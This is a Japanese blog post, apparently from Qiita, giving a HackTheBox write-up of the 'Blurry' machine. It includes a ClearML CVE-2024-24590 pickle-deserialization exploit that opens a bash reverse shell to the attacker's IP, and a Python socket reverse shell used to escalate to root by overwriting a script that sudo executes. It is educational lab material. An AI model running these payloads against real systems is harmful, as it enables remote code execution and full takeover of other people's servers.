0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

今回は、HackTheBoxのMediumマシン「Blurry」のWriteUpです!

image.png

Mediumにしては、グラフが少しEasyよりな気もしますね。
さくっと攻略めざしていきましょう!

HackTheBoxって何?という方は下記の記事を見てみてください!一緒にハッキングしましょう〜!

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください!

Blurry

列挙

それでは攻略を開始します。
まずはポートスキャンから実行しましょう。

+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ sudo nmap -Pn -v -n -sV -p- --min-rate=1000 10.10.11.19 

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open  http    nginx 1.18.0

22番と80番が開いています。
とりあえずブラウザでアクセスしてみましょう。

image.png

ClearMLのログイン画面が表示されました。
認証情報は何もないので、とりあえず適当に入力して「START」を押下します。

image.png

ユーザ登録に成功し、ダッシュボードが表示されました。

CVE-2024-24590

ダッシュボードへアクセスできましたが、特に気になる情報はありませんでした。
なので、ClearMLに脆弱性が公開されているかGoogleで調べると以下の記事を発見しました。

いくつかの脆弱性が公開されていますが、その中でも「CVE-2024-24590」はリモートコード実行につながるようです。実際に動画も公開されているので、参考にしていきますが、もう少し攻撃を理解するためにAPIでアーティファクトをアップロードするフローについて調べてみました。

記事によると、アーティファクトをアップロードする際はupload_artifactという関数を使用するようです。引数は以下のような種類がありました。

upload_artifact(name、artifact_object、metadata=None、delete_after_upload=False、auto_pickle=True、preview=None、wait_on_upload=False、extension_name=None、serialization_function=None、retries=0)

名前やオブジェクトを指定する必要がありそうです。
アップロードのフローについては理解できたので、次にタスクの設定を方法を調べました。

タスクの設定にはtask.initという関数を使用するようです。
例として以下のようなコードが公開されています。

task = Task.init('myProject', 'myOtherTask')

d = {'a': '1'}
task.upload_artifact('myArtifact', d)

まさに私が望んだコードです!タスクを設定し、そのタスクに対してアーティファクトをアップロードしています。
タスクは既に存在しているBlack Swanが使用でき、オブジェクトは実行したいコマンドを指定すればよさそうです。

必要な情報がそろったので、攻撃コードを作成しましょう。
今回使用したコードは以下です。

import pickle
import os
from clearml import Task

class RunCommand:
    def __reduce__(self):
        cmd = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/2121 0>&1"'
        return (os.system, (cmd,))

command = RunCommand()

task = Task.init(project_name='Black Swan', task_name='exec', tags=["review"], output_uri=True)
task.upload_artifact(name='shell', artifact_object=command, retries=2, wait_on_upload=True)

作成できたら、実行していきますが、ClearMLのAPIを使用するための設定を行う必要があります。ダッシュボードからユーザのアイコンをクリックし、「Setting」を押下します。

image.png

最初はプロフィールが表示されています。「Workspace」へ移動しましょう。

image.png

認証情報を追加できるので「+ Create new credentials」を押下しましょう。

image.png

認証情報が出力されました。これをコピーしておきます。
コピーできたら、clearml-initを実行し、認証情報を入力してください。

+[~/blurry/cve-2024-24590/clearml]
(σ▰>∇<)σ<10.10.14.8>$ clearml-init                                      
ClearML SDK setup process

Paste copied configuration here:

<credential>

ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.

これで準備万端です!

jippity としてのシェル

では、シェルを取得していきましょう。
待ち受けは忘れないようにしてください。

+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...

待ち受けが作成できたら、攻撃コードを実行します。

+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ python3 exploit.py
ClearML Task: created new task id=c1ac027efaa94b419e9a73adea9ee91e
- clearml.Task - INFO - No repository found, storing script code instead
ClearML results page: http://app.blurry.htb/projects/116c40b9b53743689239b6b460efd7be/experiments/c1ac027efaa94b419e9a73adea9ee91e/output/log
ClearML Monitor: GPU monitoring failed getting GPU reading, switching off GPU monitoring

特にエラーのようなものは出ていないように見えます。シェルが取得できているか確認すると...

+[~/blurry/cve-2024-24590]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.19] 37560
jippity@blurry:~$ whoami
jippity

シェルを取得できていました!侵入成功です!

jippity@blurry:~$ ls -l
total 20
drwxr-xr-x 2 jippity jippity  4096 Feb 17 12:46 automation
-rw-r--r-- 1 jippity jippity 11007 Feb 17 11:07 clearml.conf
-rw-r----- 1 root    jippity    33 Jun 15 02:48 user.txt

ユーザフラグも取得できました!

権限昇格

それではここから権限昇格を目指していきましょう。
まずはsudo -lを実行します。

jippity@blurry:~$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

evaluate_model /models/*.pthが実行できるようです。evaluate_modelについて少し調べてみます。

名前のままではありますが、モデルを評価するもののようです。引数として/modelsディレクトリにあるPTHファイルを指定しているので、/modelsディレクトリも確認してみます。

jippity@blurry:/models$ ls -l
total 1060
-rw-r--r-- 1 root root 1077880 May 30 04:39 demo_model.pth
-rw-r--r-- 1 root root    2547 May 30 04:38 evaluate_model.py

demo_model.pthというPTHファイルに加え、evaluate_model.pyというスクリプトがあります。内容を確認してみましょう。

jippity@blurry:/models$ cat evaluate_model.py
import torch
import torch.nn as nn
from torchvision import transforms
from torchvision.datasets import CIFAR10
from torch.utils.data import DataLoader, Subset
import numpy as np
import sys

<...>

def load_model(model_path):
    model = CustomCNN()
    
    state_dict = torch.load(model_path)
    model.load_state_dict(state_dict)
    
    model.eval()  
    return model

<...>

def evaluate_model(model, dataloader):
    correct = 0
    total = 0
    with torch.no_grad():  
        for images, labels in dataloader:
            outputs = model(images)
            _, predicted = torch.max(outputs.data, 1)
            total += labels.size(0)
            correct += (predicted == labels).sum().item()
    
    accuracy = 100 * correct / total
    print(f'[+] Accuracy of the model on the test dataset: {accuracy:.2f}%')

def main(model_path):
    model = load_model(model_path)
    print("[+] Loaded Model.")
    dataloader = prepare_dataloader()
    print("[+] Dataloader ready. Evaluating model...")
    evaluate_model(model, dataloader)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <path_to_model.pth>")
    else:
        model_path = sys.argv[1]  # Path to the .pth file
        main(model_path)

ファイルの内容からしても、/usr/bin/evaluate_modelのPythonスクリプトバージョンであるような気がします。試しに、何も変えていませんがsudoを使用し/usr/bin/evaluate_modelを実行してみましょう。

jippity@blurry:~$ sudo /usr/bin/evaluate_model /models/*.pth
[+] Model /models/demo_model.pth is considered safe. Processing...
[+] Loaded Model.
[+] Dataloader ready. Evaluating model...
[+] Accuracy of the model on the test dataset: 68.75%

出力されるメッセージは完全にPythonファイルと同じですね。

File Overwrite

今までの調査で考えられる一つの可能性として/usr/bin/evaluate_model/models/evaluate_model.pyを実行しているということです。
仮にこの仮説が正しい場合、/models/evaluate_model.pyを上書きすることができれば、任意のコードを実行できます。上書き可能であるか権限を見てみましょう。

jippity@blurry:~$ ls -l /      
total 64
drwxrwxr-x   2 root jippity  4096 Jun 15 06:49 models

jippityに書き込み権限があります!権限的にはクリアしているので上書きしてみましょう。上書きするコードですが、今回は以下のコードを使用します。

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",2122))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)

import pty
pty.spawn("sh")

まず、ターゲット側に置き換えるコードをダウンロードさせます。

jippity@blurry:~$ wget 10.10.14.8:8000/evaluate_model.py

ダウンロードさせたら、cpを使用して置き換えましょう。

jippity@blurry:~$ cp evaluate_model.py /models/evaluate_model.py

これで準備完了です!

root としてのシェル

それでは、権限を昇格させましょう。
まずは待ち受けを作成しておきます。

+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...

待ち受けが作成できたらsudoを使用し/usr/bin/evaluate_modelを実行します。

jippity@blurry:~$ sudo /usr/bin/evaluate_model /models/*.pth
[+] Model /models/demo_model.pth is considered safe. Processing...

実行自体は成功していそうです。待ち受けを確認しましょう。

+[~/blurry]
(σ▰>∇<)σ<10.10.14.8>$ nc -lnvp 2122
listening on [any] 2122 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.19] 33116
# whoami
root

権限昇格に成功しました!

# ls -l /root
total 8
drwxr-xr-x 3 root root 4096 Feb 14 09:37 datasets
-rw-r----- 1 root root   33 Jun 15 02:48 root.txt

ルートフラグも取得できたので、完全攻略達成です!

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?